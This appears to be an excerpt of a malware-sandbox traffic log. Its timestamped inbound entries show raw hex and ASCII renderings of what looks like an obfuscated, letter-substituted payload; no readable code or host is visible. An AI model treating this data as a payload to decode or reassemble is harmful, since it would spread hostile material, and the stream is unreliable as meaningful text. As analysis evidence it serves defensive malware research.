2021-10-29 18:29:09 UTC	1322	IN	Data Raw: 20 49 72 20 4e 43 57 20 4e 4e 56 20 59 63 20 63 4e 20 4d 63 20 72 43 20 49 72 20 4e 4e 72 20 4e 56 4d 20 4e 56 63 20 4e 4e 63 20 4d 63 20 72 63 20 59 43 20 59 72 20 57 72 20 57 4d 20 4e 4e 56 20 4e 43 43 20 4c 20 4e 63 20 72 49 20 59 43 20 63 43 20 4e 56 72 20 49 4e 20 4e 4e 4d 20 4e 43 57 20 4e 56 56 20 57 4c 20 56 43 20 59 43 20 59 72 20 57 72 20 57 4d 20 4e 4e 4c 20 4e 56 72 20 4e 4e 63 20 72 59 20 63 4c 20 4e 57 4e 20 4e 43 49 20 49 72 20 4e 4e 72 20 4e 4e 63 20 4d 56 20 4e 63 43 20 56 4e 59 20 72 49 20 59 43 20 59 43 20 4e 56 72 20 63 57 20 4e 4e 4d 20 4e 43 57 20 4e 56 56 20 63 59 20 49 20 59 43 20 59 72 20 57 72 20 56 57 20 49 43 20 4e 43 57 20 4e 4e 56 20 59 63 20 56 49 20 72 43 20 72 43 20 56 4e 4d 20 72 43 20 4e 4e 4d 20 4e 43 57 20 4e 4e 4c 20 Data Ascii: Ir NCW NNV Yc cN Mc rC Ir NNr NVM NVc NNc Mc rc YC Yr Wr WM NNV NCC L Nc rI YC cC NVr IN NNM NCW NVV WL VC YC Yr Wr WM NNL NVr NNc rY cL NWN NCI Ir NNr NNc MV NcC VNY rI YC YC NVr cW NNM NCW NVV cY I YC Yr Wr VW IC NCW NNV Yc VI rC rC VNM rC NNM NCW NNL
2021-10-29 18:29:09 UTC	1326	IN	Data Raw: 4e 56 20 59 63 20 4e 43 20 56 4e 4c 20 59 72 20 49 72 20 4e 4e 72 20 4e 43 63 20 4e 4e 57 20 49 49 20 57 63 20 72 49 20 59 43 20 63 43 20 4d 59 20 4e 43 4e 20 56 72 49 20 59 59 20 4e 4e 56 20 59 43 20 72 57 20 56 4c 20 56 4c 43 20 4e 4c 43 20 4e 4e 72 20 4e 4e 4d 20 4e 43 59 20 49 49 20 59 20 72 49 20 59 43 20 63 43 20 4c 57 20 4d 72 20 4e 4e 4d 20 4e 43 57 20 4e 56 56 20 56 63 20 56 4d 20 59 43 20 59 72 20 57 72 20 57 4d 20 4e 56 59 20 4e 43 4d 20 4c 20 4e 57 57 20 72 49 20 59 43 20 72 49 20 4d 4e 20 4e 4e 49 20 4e 43 43 20 4e 43 59 20 57 49 20 59 4e 20 56 72 20 56 4e 57 20 59 72 20 49 72 20 4e 56 43 20 56 63 20 4e 4c 4e 20 4e 4e 56 20 59 43 20 59 72 20 4c 59 20 59 43 20 63 4d 20 56 59 59 20 72 4d 20 4e 43 57 20 4e 4e 56 20 59 4e 20 56 4e 20 4c 63 20 72 Data Ascii: NV Yc NC VNL Yr Ir NNr NCc NNW II Wc rI YC cC MY NCN VrI YY NNV YC rW VL VLC NLC NNr NNM NCY II Y rI YC cC LW Mr NNM NCW NVV Vc VM YC Yr Wr WM NVY NCM L NWW rI YC rI MN NNI NCC NCY WI YN Vr VNW Yr Ir NVC Vc NLN NNV YC Yr LY YC cM VYY rM NCW NNV YN VN Lc r
2021-10-29 18:29:09 UTC	1330	IN	Data Raw: 4e 59 20 4d 56 20 56 20 63 72 20 59 4d 20 59 43 20 4d 43 20 4e 56 72 20 4e 4d 20 4e 4e 4d 20 4e 43 57 20 4e 56 56 20 63 72 20 4e 4e 57 20 59 63 20 59 72 20 4c 63 20 4e 56 20 4e 43 4d 20 4e 43 57 20 4e 4e 56 20 59 63 20 57 59 20 72 59 20 59 72 20 49 72 20 4e 56 43 20 4d 20 4e 63 20 4e 56 56 20 59 43 20 63 72 20 63 72 20 4e 59 59 20 57 72 20 4e 4e 72 20 59 20 4e 57 20 4e 4e 43 20 59 43 20 72 49 20 59 63 20 4c 43 20 4d 59 20 4e 4e 72 20 4e 4e 4d 20 4e 43 4c 20 49 49 20 4e 4e 20 72 49 20 59 43 20 63 43 20 59 57 20 4e 4c 43 20 4e 4e 4d 20 4e 43 57 20 4e 4e 49 20 56 4c 20 63 63 20 4e 72 4c 20 63 43 20 49 72 20 56 20 4d 20 4e 56 72 20 4e 56 4c 20 59 43 20 63 72 20 4d 63 20 72 43 20 49 72 20 4e 4e 72 20 4e 56 4d 20 63 57 20 4e 4e 4e 20 59 43 20 72 49 20 59 63 20 Data Ascii: NY MV V cr YM YC MC NVr NM NNM NCW NVV cr NNW Yc Yr Lc NV NCM NCW NNV Yc WY rY Yr Ir NVC M Nc NVV YC cr cr NYY Wr NNr Y NW NNC YC rI Yc LC MY NNr NNM NCL II NN rI YC cC YW NLC NNM NCW NNI VL cc NrL cC Ir V M NVr NVL YC cr Mc rC Ir NNr NVM cW NNN YC rI Yc
2021-10-29 18:29:09 UTC	1334	IN	Data Raw: 4e 43 43 20 57 49 20 56 59 59 20 56 49 20 72 49 20 59 43 20 59 56 20 72 4d 20 49 63 20 4e 4e 4d 20 4e 43 57 20 4e 4e 63 20 57 4e 20 57 59 20 4e 57 56 20 59 72 20 49 72 20 4e 56 43 20 56 4e 59 20 49 59 20 56 56 63 20 59 43 20 72 49 20 59 43 20 59 56 20 72 4d 20 4e 43 56 20 4e 4e 4d 20 4e 43 57 20 4e 4e 63 20 59 4c 20 59 63 20 4e 43 63 20 4e 49 59 20 4e 43 43 20 4e 4e 72 20 4e 4e 4d 20 4e 4e 4e 20 4e 4e 20 56 4d 20 72 49 20 59 43 20 59 43 20 63 57 20 4e 56 59 20 4e 43 63 20 57 4d 20 56 59 4c 20 4e 43 72 20 72 49 20 59 43 20 59 59 20 4e 4e 4c 20 4e 63 56 20 4e 4c 59 20 4e 43 57 20 4e 4e 56 20 59 72 20 56 72 20 59 20 59 72 20 49 72 20 4e 56 43 20 63 20 49 59 20 4e 4e 56 20 59 43 20 59 49 20 56 63 20 49 49 20 49 72 20 4e 4e 72 20 4e 56 4d 20 4e 4e 4e 20 4e 4e Data Ascii: NCC WI VYY VI rI YC YV rM Ic NNM NCW NNc WN WY NWV Yr Ir NVC VNY IY VVc YC rI YC YV rM NCV NNM NCW NNc YL Yc NCc NIY NCC NNr NNM NNN NN VM rI YC YC cW NVY NCc WM VYL NCr rI YC YY NNL NcV NLY NCW NNV Yr Vr Y Yr Ir NVC c IY NNV YC YI Vc II Ir NNr NVM NNN NN
2021-10-29 18:29:09 UTC	1338	IN	Data Raw: 59 72 20 49 72 20 4e 4e 49 20 57 4c 20 57 43 20 4e 4e 56 20 59 43 20 59 49 20 63 59 20 4e 72 20 49 72 20 4e 4e 72 20 4e 56 4d 20 63 57 20 4c 43 20 59 43 20 72 49 20 59 63 20 59 56 20 72 4d 20 57 49 20 4e 4e 4d 20 4e 43 57 20 4e 4e 63 20 4c 59 20 59 49 20 4c 59 20 59 57 20 4e 56 20 57 57 20 4e 56 4c 20 4e 56 4c 20 56 4c 43 20 4e 43 63 20 4c 4c 20 63 43 20 4c 4c 20 4e 57 72 20 72 56 20 4e 43 43 20 57 57 20 4e 43 72 20 4e 63 72 20 4e 43 72 20 4c 59 20 59 63 20 4d 4d 20 56 56 49 20 72 59 20 72 20 57 4d 20 63 43 20 72 56 20 4e 63 72 20 57 59 20 59 57 20 4e 56 49 20 4e 4e 4d 20 4e 43 57 20 4e 56 56 20 4d 57 20 56 72 20 59 43 20 59 72 20 49 43 20 4d 72 20 56 4c 59 20 4e 43 57 20 4e 4e 56 20 59 43 20 59 43 20 4d 4c 20 59 4d 20 49 72 20 4e 4e 72 20 4e 4e 4c 20 4e Data Ascii: Yr Ir NNI WL WC NNV YC YI cY Nr Ir NNr NVM cW LC YC rI Yc YV rM WI NNM NCW NNc LY YI LY YW NV WW NVL NVL VLC NCc LL cC LL NWr rV NCC WW NCr Ncr NCr LY Yc MM VVI rY r WM cC rV Ncr WY YW NVI NNM NCW NVV MW Vr YC Yr IC Mr VLY NCW NNV YC YC ML YM Ir NNr NNL N
2021-10-29 18:29:09 UTC	1342	IN	Data Raw: 4e 63 20 4e 4e 59 20 4e 4e 72 20 56 63 20 49 56 20 59 43 20 59 72 20 57 72 20 49 49 20 57 57 20 4e 4e 43 20 4e 43 72 20 56 43 72 20 72 57 20 56 72 20 59 72 20 49 72 20 4e 43 59 20 63 57 20 4e 43 72 20 4e 4e 56 20 63 4d 20 72 49 20 59 43 20 59 72 20 4e 4e 4e 20 4e 4e 72 20 4e 4e 4d 20 4e 56 72 20 4e 4e 59 20 57 4c 20 4e 59 4c 20 59 4e 20 59 72 20 49 56 20 4e 43 4e 20 56 72 49 20 59 4c 20 4e 4e 56 20 59 43 20 72 57 20 56 4c 20 4c 56 20 4c 49 20 4e 4d 56 20 4e 4e 72 20 4e 43 57 20 43 20 4e 72 72 20 4c 57 20 57 4c 20 4e 56 43 20 49 72 20 4e 4e 72 20 4e 56 4d 20 4e 43 4c 20 4c 20 59 4e 20 72 57 20 59 43 20 63 43 20 49 56 20 4e 43 43 20 56 4c 57 20 4e 43 4d 20 4e 43 4c 20 4e 63 49 20 56 72 20 49 4e 20 59 72 20 49 72 20 4e 56 43 20 57 4c 20 4e 4e 4e 20 4e 4e 4c Data Ascii: Nc NNY NNr Vc IV YC Yr Wr II WW NNC NCr VCr rW Vr Yr Ir NCY cW NCr NNV cM rI YC Yr NNN NNr NNM NVr NNY WL NYL YN Yr IV NCN VrI YL NNV YC rW VL LV LI NMV NNr NCW C Nrr LW WL NVC Ir NNr NVM NCL L YN rW YC cC IV NCC VLW NCM NCL NcI Vr IN Yr Ir NVC WL NNN NNL
2021-10-29 18:29:09 UTC	1346	IN	Data Raw: 20 56 4c 20 56 57 20 63 56 20 4e 63 20 4d 43 20 4e 4e 56 20 4e 4c 57 20 4e 56 43 20 63 4d 20 59 43 20 72 49 20 72 4e 20 63 56 20 4e 56 4d 20 59 57 20 4e 4e 20 4e 56 4c 20 4e 4e 4c 20 59 43 20 59 56 20 56 4c 20 56 4d 20 63 4d 20 49 72 20 4e 4e 20 4e 56 4e 20 4e 4e 4c 20 59 43 20 59 56 20 56 43 72 20 72 49 20 4d 56 20 4e 4e 56 20 4e 4e 4d 20 4e 43 4d 20 4c 20 72 4e 20 72 57 20 59 43 20 63 43 20 4e 4e 4c 20 56 72 56 20 57 57 20 4e 43 49 20 4e 4e 56 20 59 72 20 56 72 20 72 59 20 59 72 20 49 72 20 49 57 20 49 43 20 63 72 20 4e 56 72 20 56 43 20 4c 72 20 72 49 20 56 43 43 20 63 59 20 63 59 20 4e 4e 4d 20 4e 43 57 20 4e 43 4d 20 59 49 20 56 4d 20 4c 63 20 72 49 20 4e 4d 43 20 4e 4e 63 20 4e 43 57 20 4e 4e 4e 20 4e 4e 56 20 59 56 20 63 4d 20 72 4d 20 59 59 20 49 Data Ascii: VL VW cV Nc MC NNV NLW NVC cM YC rI rN cV NVM YW NN NVL NNL YC YV VL VM cM Ir NN NVN NNL YC YV VCr rI MV NNV NNM NCM L rN rW YC cC NNL VrV WW NCI NNV Yr Vr rY Yr Ir IW IC cr NVr VC Lr rI VCC cY cY NNM NCW NCM YI VM Lc rI NMC NNc NCW NNN NNV YV cM rM YY I
2021-10-29 18:29:09 UTC	1349	IN	Data Raw: 63 20 4e 4c 49 20 49 72 20 4e 4e 72 20 4e 56 4d 20 56 43 4d 20 49 59 20 4c 4d 20 4c 57 20 4c 49 20 4c 43 20 56 4c 56 20 4e 4e 72 20 4e 4e 4d 20 4e 43 4c 20 56 4e 43 20 56 4c 20 72 43 20 4c 4d 20 4c 72 20 4e 56 72 20 56 43 63 20 4e 4e 4d 20 4e 43 57 20 4e 56 56 20 4e 72 72 20 56 4e 20 72 4c 20 4c 56 20 63 72 20 57 43 20 56 43 4e 20 4e 43 57 20 4e 4e 56 20 59 63 20 4e 72 63 20 56 63 20 4e 4c 57 20 49 72 20 4e 4e 72 20 4e 56 4d 20 63 57 20 72 57 20 59 4e 20 72 49 20 59 63 20 4e 49 56 20 4d 4c 20 4e 4e 59 20 4e 4e 4d 20 4e 43 59 20 4e 72 20 72 4d 20 72 57 20 59 43 20 59 43 20 72 4d 20 72 49 20 4e 4e 63 20 4e 43 57 20 4e 56 56 20 4d 63 20 72 59 20 59 4e 20 59 72 20 49 43 20 4e 56 56 20 57 57 20 4e 56 4c 20 4c 20 4e 4e 4c 20 72 57 20 59 43 20 63 43 20 63 63 20 Data Ascii: c NLI Ir NNr NVM VCM IY LM LW LI LC VLV NNr NNM NCL VNC VL rC LM Lr NVr VCc NNM NCW NVV Nrr VN rL LV cr WC VCN NCW NNV Yc Nrc Vc NLW Ir NNr NVM cW rW YN rI Yc NIV ML NNY NNM NCY Nr rM rW YC YC rM rI NNc NCW NVV Mc rY YN Yr IC NVV WW NVL L NNL rW YC cC cc
2021-10-29 18:29:09 UTC	1354	IN	Data Raw: 20 4d 56 20 4e 43 57 20 59 43 20 4d 4d 20 72 49 20 72 57 20 63 43 20 49 72 20 4e 4e 72 20 4e 4e 63 20 4e 4e 4e 20 4e 4e 56 20 56 49 20 72 49 20 4e 43 49 20 4e 49 63 20 49 72 20 4e 56 43 20 4e 4e 4d 20 4e 43 57 20 4e 4e 56 20 59 43 20 59 43 20 59 43 20 4e 4d 20 49 72 20 4c 20 56 4c 4d 20 4e 43 57 20 4e 56 56 20 59 43 20 72 49 20 59 43 20 59 72 20 49 63 20 4e 4e 72 20 49 59 20 4e 43 57 20 56 72 72 20 4e 59 43 20 72 49 20 59 63 20 59 72 20 49 72 20 4e 4e 72 20 4e 4e 4d 20 4e 43 57 20 4e 4e 56 20 59 56 20 72 49 20 4e 59 56 20 4e 4c 72 20 49 72 20 4e 4e 4c 20 4e 56 4d 20 4e 43 57 20 4e 4e 56 20 59 4e 20 72 4c 20 56 20 59 4e 20 49 72 20 4e 63 59 20 4e 4e 4d 20 4e 43 57 20 4e 4e 56 20 4e 56 4e 20 72 49 20 59 43 20 4c 57 20 4c 57 20 56 4e 63 20 4e 4e 4d 20 4e 43 Data Ascii: MV NCW YC MM rI rW cC Ir NNr NNc NNN NNV VI rI NCI NIc Ir NVC NNM NCW NNV YC YC YC NM Ir L VLM NCW NVV YC rI YC Yr Ic NNr IY NCW Vrr NYC rI Yc Yr Ir NNr NNM NCW NNV YV rI NYV NLr Ir NNL NVM NCW NNV YN rL V YN Ir NcY NNM NCW NNV NVN rI YC LW LW VNc NNM NC
2021-10-29 18:29:09 UTC	1358	IN	Data Raw: 72 20 4e 4e 4d 20 4e 43 57 20 4e 4e 72 20 59 43 20 72 49 20 59 43 20 4e 59 20 49 72 20 4e 4e 72 20 4e 4e 4d 20 63 72 20 4e 4e 4c 20 59 43 20 72 49 20 49 72 20 59 59 20 49 72 20 4e 4e 72 20 4e 56 4d 20 4e 43 57 20 4e 4e 56 20 59 43 20 72 49 20 59 43 20 59 72 20 49 72 20 4e 4e 72 20 4e 4e 4d 20 4e 43 57 20 4e 4e 56 20 59 56 20 72 49 20 59 43 20 59 72 20 59 63 20 4e 4e 59 20 4e 4e 4d 20 4e 43 57 20 56 20 59 4e 20 72 49 20 59 43 20 59 4c 20 49 72 20 4e 4e 72 20 4e 4e 4d 20 4e 43 4c 20 4e 4e 56 20 59 43 20 72 57 20 72 4e 20 63 20 49 4e 20 4e 4e 72 20 56 72 43 20 4e 4e 4e 20 4e 4e 56 20 59 43 20 4e 56 4d 20 59 43 20 59 72 20 63 57 20 4e 20 56 4e 43 20 4e 43 57 20 4e 4e 56 20 59 63 20 59 49 20 4e 49 20 4e 49 4d 20 49 72 20 4e 4e 72 20 4e 4e 4d 20 56 56 72 20 72 Data Ascii: r NNM NCW NNr YC rI YC NY Ir NNr NNM cr NNL YC rI Ir YY Ir NNr NVM NCW NNV YC rI YC Yr Ir NNr NNM NCW NNV YV rI YC Yr Yc NNY NNM NCW V YN rI YC YL Ir NNr NNM NCL NNV YC rW rN c IN NNr VrC NNN NNV YC NVM YC Yr cW N VNC NCW NNV Yc YI NI NIM Ir NNr NNM VVr r
2021-10-29 18:29:09 UTC	1362	IN	Data Raw: 4e 56 20 59 63 20 72 49 20 59 43 20 59 72 20 49 72 20 4e 4e 56 20 4e 4e 4d 20 4c 63 20 4e 4e 56 20 4e 4d 49 20 56 72 57 20 59 43 20 63 43 20 49 72 20 4e 4e 72 20 4e 4e 4d 20 4e 43 57 20 4e 4e 72 20 59 43 20 4e 4e 72 20 59 43 20 4e 63 59 20 4e 56 57 20 4e 4e 72 20 4e 56 4d 20 4e 43 57 20 4e 4e 56 20 59 43 20 72 49 20 59 43 20 59 72 20 49 56 20 4e 4e 72 20 4e 4d 72 20 4e 72 43 20 4e 4e 56 20 72 57 20 59 49 20 59 43 20 59 72 20 49 59 20 4e 43 59 20 63 57 20 4e 43 72 20 4e 4e 56 20 4e 43 49 20 72 57 20 59 43 20 59 72 20 72 20 4e 4e 72 20 4e 4e 4d 20 4e 56 72 20 4c 20 4e 72 57 20 72 49 20 59 43 20 63 43 20 57 72 20 4e 43 57 20 4d 43 20 56 56 72 20 72 56 20 59 43 20 72 49 20 59 4e 20 4e 57 20 4e 4c 56 20 4e 63 59 20 4e 4e 4d 20 4e 43 57 20 4e 4e 63 20 56 63 20 Data Ascii: NV Yc rI YC Yr Ir NNV NNM Lc NNV NMI VrW YC cC Ir NNr NNM NCW NNr YC NNr YC NcY NVW NNr NVM NCW NNV YC rI YC Yr IV NNr NMr NrC NNV rW YI YC Yr IY NCY cW NCr NNV NCI rW YC Yr r NNr NNM NVr L NrW rI YC cC Wr NCW MC VVr rV YC rI YN NW NLV NcY NNM NCW NNc Vc
2021-10-29 18:29:09 UTC	1366	IN	Data Raw: 63 4d 20 4e 43 20 59 72 20 49 72 20 4e 56 43 20 56 63 20 4e 49 49 20 4e 4e 56 20 59 43 20 59 49 20 59 56 20 72 4e 20 57 43 20 56 59 59 20 72 4d 20 4e 43 57 20 4e 4e 56 20 59 4e 20 56 4e 20 56 56 63 20 56 72 59 20 49 72 20 4e 4e 72 20 4e 4e 4c 20 63 57 20 4d 4e 20 59 43 20 72 49 20 59 63 20 63 57 20 4e 43 49 20 4e 4e 72 20 4e 4e 4d 20 4e 43 4c 20 4c 4e 20 56 56 4d 20 72 49 20 59 43 20 63 43 20 4c 57 20 56 4e 4c 20 4e 4e 4d 20 4e 43 57 20 4e 56 56 20 59 4d 20 59 4c 20 4c 43 20 63 56 20 49 4e 20 56 59 56 20 49 57 20 4e 43 59 20 4e 4e 63 20 72 57 20 4e 20 72 49 20 72 57 20 4e 56 63 20 4e 4e 72 20 4e 4e 57 20 63 57 20 4e 63 56 20 59 43 20 72 49 20 59 63 20 59 49 20 63 63 20 4e 56 4d 20 4d 4d 20 4e 56 72 20 4e 4e 4c 20 59 43 20 72 49 20 59 49 20 63 4c 20 56 43 Data Ascii: cM NC Yr Ir NVC Vc NII NNV YC YI YV rN WC VYY rM NCW NNV YN VN VVc VrY Ir NNr NNL cW MN YC rI Yc cW NCI NNr NNM NCL LN VVM rI YC cC LW VNL NNM NCW NVV YM YL LC cV IN VYV IW NCY NNc rW N rI rW NVc NNr NNW cW NcV YC rI Yc YI cc NVM MM NVr NNL YC rI YI cL VC
2021-10-29 18:29:09 UTC	1370	IN	Data Raw: 59 43 20 59 56 20 56 72 20 56 43 20 49 63 20 4e 4e 4c 20 49 20 57 72 20 4e 4e 56 20 59 43 20 59 56 20 56 72 20 72 43 20 49 63 20 57 20 63 59 20 4e 43 57 20 4e 4e 56 20 59 72 20 56 63 20 4e 63 20 59 56 20 49 4d 20 4e 59 20 63 59 20 4e 43 57 20 4e 4e 56 20 59 72 20 56 63 20 72 72 20 59 56 20 72 4d 20 4d 4e 20 4e 4e 4d 20 4e 43 57 20 4e 4e 63 20 56 72 20 4e 49 20 72 49 20 59 4c 20 72 4e 20 4d 4e 20 4e 4e 4d 20 4e 43 57 20 4e 4e 63 20 56 72 20 72 63 20 72 49 20 4d 4d 20 57 49 20 4e 4e 72 20 4e 4e 4d 20 4e 43 59 20 57 43 20 4e 63 20 59 43 20 72 57 20 4d 59 20 57 49 20 4e 4e 72 20 4e 4e 4d 20 4e 43 59 20 57 43 20 72 72 20 59 43 20 4d 4c 20 4e 20 49 72 20 4e 4e 72 20 4e 4e 4c 20 4d 4e 20 49 56 20 72 49 20 59 4e 20 4d 57 20 4e 20 49 72 20 4e 4e 72 20 4e 4e 4c 20 Data Ascii: YC YV Vr VC Ic NNL I Wr NNV YC YV Vr rC Ic W cY NCW NNV Yr Vc Nc YV IM NY cY NCW NNV Yr Vc rr YV rM MN NNM NCW NNc Vr NI rI YL rN MN NNM NCW NNc Vr rc rI MM WI NNr NNM NCY WC Nc YC rW MY WI NNr NNM NCY WC rr YC ML N Ir NNr NNL MN IV rI YN MW N Ir NNr NNL
2021-10-29 18:29:09 UTC	1374	IN	Data Raw: 43 20 4e 4e 56 20 57 4c 20 4e 59 20 4e 4e 56 20 59 43 20 59 49 20 56 72 20 72 43 20 49 63 20 57 20 57 20 4e 43 57 20 4e 4e 56 20 59 72 20 56 63 20 4e 63 20 59 56 20 49 4d 20 4e 59 20 57 20 4e 43 57 20 4e 4e 56 20 59 72 20 56 63 20 72 72 20 59 56 20 72 4d 20 4e 59 20 4e 4e 4d 20 4e 43 57 20 4e 4e 63 20 56 72 20 4e 49 20 72 49 20 59 4c 20 72 4e 20 4e 59 20 4e 4e 4d 20 4e 43 57 20 4e 4e 63 20 56 72 20 72 63 20 72 49 20 4d 4d 20 72 56 20 4e 4e 72 20 4e 4e 4d 20 4e 43 59 20 57 43 20 4e 63 20 59 43 20 72 57 20 4d 59 20 72 56 20 4e 4e 72 20 4e 4e 4d 20 4e 43 59 20 57 43 20 72 72 20 59 43 20 56 63 20 49 72 20 49 72 20 4e 4e 72 20 4e 56 4d 20 4d 4e 20 4e 4e 43 20 72 49 20 4d 59 20 4d 4d 20 59 72 20 49 72 20 4e 4e 49 20 57 59 20 4d 57 20 4e 4e 72 20 72 57 20 4d 4d Data Ascii: C NNV WL NY NNV YC YI Vr rC Ic W W NCW NNV Yr Vc Nc YV IM NY W NCW NNV Yr Vc rr YV rM NY NNM NCW NNc Vr NI rI YL rN NY NNM NCW NNc Vr rc rI MM rV NNr NNM NCY WC Nc YC rW MY rV NNr NNM NCY WC rr YC Vc Ir Ir NNr NVM MN NNC rI MY MM Yr Ir NNI WY MW NNr rW MM
2021-10-29 18:29:09 UTC	1378	IN	Data Raw: 20 57 59 20 59 4d 20 59 72 20 49 72 20 4e 56 43 20 4e 63 57 20 4e 4d 57 20 4e 4e 59 20 56 43 20 56 4c 49 20 59 43 20 4c 63 20 49 63 20 57 43 20 56 4e 59 20 4e 43 49 20 4e 4e 56 20 59 63 20 4e 43 20 4e 56 43 20 56 43 4e 20 4e 4d 4e 20 4e 72 4e 20 4e 4d 4e 20 57 57 20 57 49 20 72 49 20 56 43 63 20 4c 63 20 4e 4e 72 20 49 72 20 4e 4e 72 20 4e 4e 43 20 56 20 4e 56 4c 20 59 43 20 72 49 20 59 63 20 56 4c 72 20 49 63 20 4e 20 56 4c 49 20 4e 43 49 20 4e 4e 56 20 59 56 20 4c 59 20 59 49 20 4c 57 20 57 56 20 57 43 20 57 20 4e 43 57 20 4e 4e 56 20 59 63 20 59 59 20 57 4c 20 4e 4d 4d 20 49 72 20 4e 4e 72 20 4e 56 4d 20 56 20 43 20 59 43 20 72 49 20 59 63 20 49 57 20 56 72 63 20 4e 4e 59 20 4e 4e 4d 20 4e 43 4d 20 57 4d 20 59 49 20 72 4d 20 56 43 20 4e 49 4d 20 4e 72 Data Ascii: WY YM Yr Ir NVC NcW NMW NNY VC VLI YC Lc Ic WC VNY NCI NNV Yc NC NVC VCN NMN NrN NMN WW WI rI VCc Lc NNr Ir NNr NNC V NVL YC rI Yc VLr Ic N VLI NCI NNV YV LY YI LW WV WC W NCW NNV Yc YY WL NMM Ir NNr NVM V C YC rI Yc IW Vrc NNY NNM NCM WM YI rM VC NIM Nr
2021-10-29 18:29:09 UTC	1381	IN	Data Raw: 20 4e 4e 57 20 4e 4e 49 20 59 43 20 4c 43 20 59 72 20 4e 4c 43 20 4d 49 20 4e 4e 63 20 4e 4e 4d 20 4d 4d 20 4e 4e 63 20 4e 4c 72 20 72 56 20 56 57 20 59 72 20 72 4c 20 4d 43 20 4e 4e 4d 20 4e 43 57 20 4e 4e 49 20 59 43 20 56 72 4d 20 56 57 20 63 49 20 4e 56 43 20 4e 4e 63 20 4e 4e 4d 20 4d 43 20 49 56 20 63 72 20 56 49 20 59 56 20 59 72 20 4e 4c 72 20 4e 4e 4c 20 4d 20 63 59 20 4e 4e 49 20 59 43 20 4e 72 43 20 59 56 20 63 49 20 4e 56 43 20 4e 4e 63 20 4e 4e 4d 20 56 4c 4c 20 49 59 20 4e 72 59 20 59 20 63 43 20 59 72 20 56 56 49 20 63 4d 20 4e 72 4d 20 4d 43 20 4e 4e 49 20 59 43 20 56 43 43 20 4e 20 4d 63 20 4e 4e 43 20 4e 4e 63 20 4e 4e 4d 20 56 72 4d 20 49 43 20 63 72 20 56 49 20 63 43 20 59 72 20 4e 49 63 20 4e 43 57 20 4e 72 4d 20 4d 43 20 4e 4e 49 20 Data Ascii: NNW NNI YC LC Yr NLC MI NNc NNM MM NNc NLr rV VW Yr rL MC NNM NCW NNI YC VrM VW cI NVC NNc NNM MC IV cr VI YV Yr NLr NNL M cY NNI YC NrC YV cI NVC NNc NNM VLL IY NrY Y cC Yr VVI cM NrM MC NNI YC VCC N Mc NNC NNc NNM VrM IC cr VI cC Yr NIc NCW NrM MC NNI
2021-10-29 18:29:09 UTC	1386	IN	Data Raw: 20 4e 43 72 20 4e 4e 72 20 4e 56 72 20 4e 43 57 20 56 4c 20 59 43 20 72 57 20 59 4e 20 59 72 20 49 72 20 4e 57 4e 20 4d 4c 20 4e 43 57 20 4e 4e 56 20 57 59 20 72 49 20 59 57 20 59 72 20 56 4e 4c 20 4e 4e 72 20 56 72 72 20 4e 43 57 20 57 63 20 59 43 20 4e 49 59 20 4e 4d 20 59 72 20 49 72 20 57 4e 20 4e 4e 4d 20 4e 43 43 20 4e 4e 56 20 4e 49 4c 20 72 49 20 4e 4d 57 20 59 59 20 63 49 20 4e 4e 72 20 63 63 20 72 63 20 4e 4e 56 20 59 43 20 56 59 20 59 43 20 63 4e 20 49 72 20 56 72 57 20 4e 4e 4d 20 56 4c 63 20 4e 4e 4c 20 4c 72 20 72 49 20 4e 57 43 20 4d 20 49 72 20 4e 4e 72 20 57 56 20 4e 43 57 20 4e 56 4c 20 59 43 20 4e 49 49 20 59 43 20 4e 49 4c 20 49 59 20 57 49 20 4e 4e 4d 20 4e 49 59 20 49 49 20 59 43 20 72 49 20 56 4d 20 59 72 20 57 59 20 4e 4e 72 20 56 Data Ascii: NCr NNr NVr NCW VL YC rW YN Yr Ir NWN ML NCW NNV WY rI YW Yr VNL NNr Vrr NCW Wc YC NIY NM Yr Ir WN NNM NCC NNV NIL rI NMW YY cI NNr cc rc NNV YC VY YC cN Ir VrW NNM VLc NNL Lr rI NWC M Ir NNr WV NCW NVL YC NII YC NIL IY WI NNM NIY II YC rI VM Yr WY NNr V
2021-10-29 18:29:09 UTC	1390	IN	Data Raw: 4e 63 20 4d 56 20 4e 4e 72 20 4c 4c 20 72 57 20 59 43 20 59 72 20 4e 43 20 4e 56 4c 20 4e 4e 4d 20 4e 43 57 20 72 4e 20 59 4e 20 56 43 20 59 4e 20 4e 57 20 49 63 20 57 4d 20 4e 4e 63 20 4e 43 57 20 4e 4e 56 20 4d 4e 20 63 4c 20 59 43 20 59 72 20 4e 4c 20 4e 4e 59 20 49 4e 20 4e 43 49 20 49 59 20 72 49 20 4c 59 20 59 4e 20 59 72 20 49 72 20 56 72 63 20 4e 4e 4d 20 4e 43 57 20 4e 4e 56 20 4e 43 4d 20 72 57 20 56 56 20 59 59 20 4e 4e 4c 20 4e 4e 56 20 4e 43 56 20 4e 43 49 20 4e 4e 56 20 59 43 20 59 4c 20 59 59 20 59 72 20 49 72 20 72 4c 20 4e 4e 63 20 4d 4c 20 4e 4e 4c 20 56 4c 20 59 43 20 4c 4c 20 59 59 20 49 72 20 4e 4e 72 20 56 4c 4e 20 57 49 20 4e 4e 56 20 59 43 20 4e 43 59 20 59 4e 20 4e 49 20 49 59 20 49 4d 20 4e 4e 57 20 4e 56 63 20 4e 4e 4c 20 59 43 Data Ascii: Nc MV NNr LL rW YC Yr NC NVL NNM NCW rN YN VC YN NW Ic WM NNc NCW NNV MN cL YC Yr NL NNY IN NCI IY rI LY YN Yr Ir Vrc NNM NCW NNV NCM rW VV YY NNL NNV NCV NCI NNV YC YL YY Yr Ir rL NNc ML NNL VL YC LL YY Ir NNr VLN WI NNV YC NCY YN NI IY IM NNW NVc NNL YC
2021-10-29 18:29:09 UTC	1394	IN	Data Raw: 4e 43 59 20 56 4e 4e 20 4e 43 57 20 4e 4e 4c 20 59 43 20 72 72 20 72 63 20 4e 72 72 20 49 72 20 4e 4e 59 20 4e 4e 4d 20 72 56 20 4e 43 49 20 59 56 20 4c 4c 20 59 4e 20 59 72 20 72 59 20 4e 4e 4e 20 4e 43 20 4e 56 72 20 4e 4e 4c 20 59 43 20 4e 63 4c 20 72 4d 20 4e 72 72 20 49 72 20 63 59 20 4e 4e 63 20 56 56 56 20 4e 56 63 20 4e 49 56 20 4c 4c 20 4e 20 59 59 20 4e 56 20 57 49 20 56 59 56 20 4e 56 72 20 63 4d 20 59 4e 20 63 72 20 4c 49 20 4e 4d 49 20 63 57 20 63 59 20 4e 4e 63 20 4e 4e 43 20 4e 4e 57 20 4e 49 49 20 4c 4c 20 4e 20 59 59 20 4e 4d 72 20 4e 56 4d 20 56 4c 43 20 4e 56 72 20 63 4d 20 59 4e 20 4e 57 63 20 